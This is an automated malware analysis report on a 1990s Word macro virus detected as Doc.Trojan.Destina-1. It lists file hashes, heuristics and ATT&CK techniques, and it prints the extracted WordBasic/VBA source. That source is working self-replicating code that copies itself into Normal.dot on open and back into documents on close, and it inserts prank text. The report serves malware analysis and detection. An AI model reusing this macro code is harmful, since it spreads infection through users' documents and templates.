Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c212a4b7490f0902…

MALICIOUS

Office (OLE)

43.0 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9e805c08284eb63a65fd11997288bbee SHA-1: 07db4fe404373300e562e70501b92bc5c384dc57 SHA-256: c212a4b7490f09023f1b25a87c32ebbb006d095785873618a64da5c8beb37332
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains legacy WordBasic macros, specifically AutoOpen and AutoClose, which are indicative of malicious intent. The AutoOpen macro attempts to copy and rename VBA macros within the Normal.dot template, likely to establish persistence or prepare for further execution. The ClamAV detection as Doc.Trojan.Destina-1 further supports its malicious classification.

Heuristics 5

  • ClamAV: Doc.Trojan.Destina-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Destina-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4231 bytes
SHA-256: 9bca271c4e11421cc67b9a71823efcaf792b6ee5efd2ed1be87e41240f68b073
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Cárdenas para PRESIDENTE"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "Project.EVA.MAIN"

Dim ORIGEN As String
Dim DESTINO As String


'BUSCA EL ORIGEN
ORIGEN = ActiveDocument.Path & Application.PathSeparator & ActiveDocument.Name

'BUSCA DESTINO
DESTINO = NormalTemplate.Path & Application.PathSeparator & NormalTemplate.Name
'ActiveDocument.Close SaveChanges:=True

On Error GoTo fin


WordBasic.Organizer Copy:=1, Source:=ORIGEN, Destination:=DESTINO, Name:="EVA", Tab:=3
WordBasic.Organizer Copy:=1, Source:=ORIGEN, Destination:=DESTINO, Name:="ArchivoImprimir", Tab:=3
WordBasic.Organizer Copy:=1, Source:=ORIGEN, Destination:=DESTINO, Name:="Autoclose", Tab:=3
WordBasic.Organizer Rename:=1, Source:=DESTINO, Name:="EVA", NewName:="AutoOpen", Tab:=3
WordBasic.Organizer Copy:=1, Source:=ORIGEN, Destination:=DESTINO, Name:="EVA", Tab:=3

fin:



'dlgAnswer = Dialogs(wdDialogFileOpen).Show

End Sub

Attribute VB_Name = "ArchivoImprimir"

Sub HerramMacro()
'
' HerramMacro Macro
' Ejecuta, crea, elimina o revisa una macro
'
On Error GoTo NADA

NADA:
End Sub
Sub VerCódigoVB()
'
' erCódigo Macro
' Ver código del control seleccionado
'
On Error GoTo NADA
WordBasic.Insert "Hola soy Nicole, la mágica Nicole"
WordBasic.CharLeft 28, 1
WordBasic.Bold
WordBasic.FontSize 24
WordBasic.CenterPara
NADA:
End Sub
Sub ArchivoImprimir()
'
' IMPRIMIR Macro
' Macro grabada el 20/01/99 por
'
On Error GoTo NADA
 Dim valor As Integer
   valor = Int(100 * Rnd())

   If valor > 90 Then
   MsgBox "Hola soy Nicole, la mágica Nicole"
   End If
   
 Dim valor2 As Integer
   valor2 = Int(100 * Rnd())
   
   If valor2 > 90 Then
   Selection.TypeText Text:=" HOLA SOY NICOLE"
   End If
dlgAnswer = Dialogs(wdDialogFilePrint).Show
NADA:
End Sub


Attribute VB_Name = "AutoClose"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Guarda el documento o la plantilla activa."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.ArchivoGuardar.MAIN"


Dim ORIGEN As String
Dim DESTINO As String


'BUSCA EL ORIGEN
DESTINO = ActiveDocument.Path & Application.PathSeparator & ActiveDocument.Name

'BUSCA DESTINO
ORIGEN = NormalTemplate.Path & Application.PathSeparator & NormalTemplate.Name
'ActiveDocument.Close SaveChanges:=True

On Error GoTo fin


WordBasic.Organizer Copy:=1, Source:=ORIGEN, Destination:=DESTINO, Name:="EVA", Tab:=3
WordBasic.Organizer Copy:=1, Source:=ORIGEN, Destination:=DESTINO, Name:="ArchivoImprimir", Tab:=3
WordBasic.Organizer Copy:=1, Source:=ORIGEN, Destination:=DESTINO, Name:="Autoclose", Tab:=3
WordBasic.Organizer Rename:=1, Source:=DESTINO, Name:="EVA", NewName:="AutoOpen", Tab:=3
WordBasic.Organizer Copy:=1, Source:=ORIGEN, Destination:=DESTINO, Name:="EVA", Tab:=3

fin:


'dlgAnswer = Dialogs(wdDialogFileOpen).Show


End Sub

Attribute VB_Name = "EVA"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Cárdenas para PRESIDENTE"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "Project.EVA.MAIN"

Dim ORIGEN As String
Dim DESTINO As String


'BUSCA EL ORIGEN
ORIGEN = ActiveDocument.Path & Application.PathSeparator & ActiveDocument.Name

'BUSCA DESTINO
DESTINO = NormalTemplate.Path & Application.PathSeparator & NormalTemplate.Name
'ActiveDocument.Close SaveChanges:=True

On Error GoTo fin


WordBasic.Organizer Copy:=1, Source:=ORIGEN, Destination:=DESTINO, Name:="EVA", Tab:=3
WordBasic.Organizer Copy:=1, Source:=ORIGEN, Destination:=DESTINO, Name:="ArchivoImprimir", Tab:=3
WordBasic.Organizer Copy:=1, Source:=ORIGEN, Destination:=DESTINO, Name:="Autoclose", Tab:=3
WordBasic.Organizer Rename:=1, Source:=DESTINO, Name:="EVA", NewName:="AutoOpen", Tab:=3
WordBasic.Organizer Copy:=1, So
... (truncated)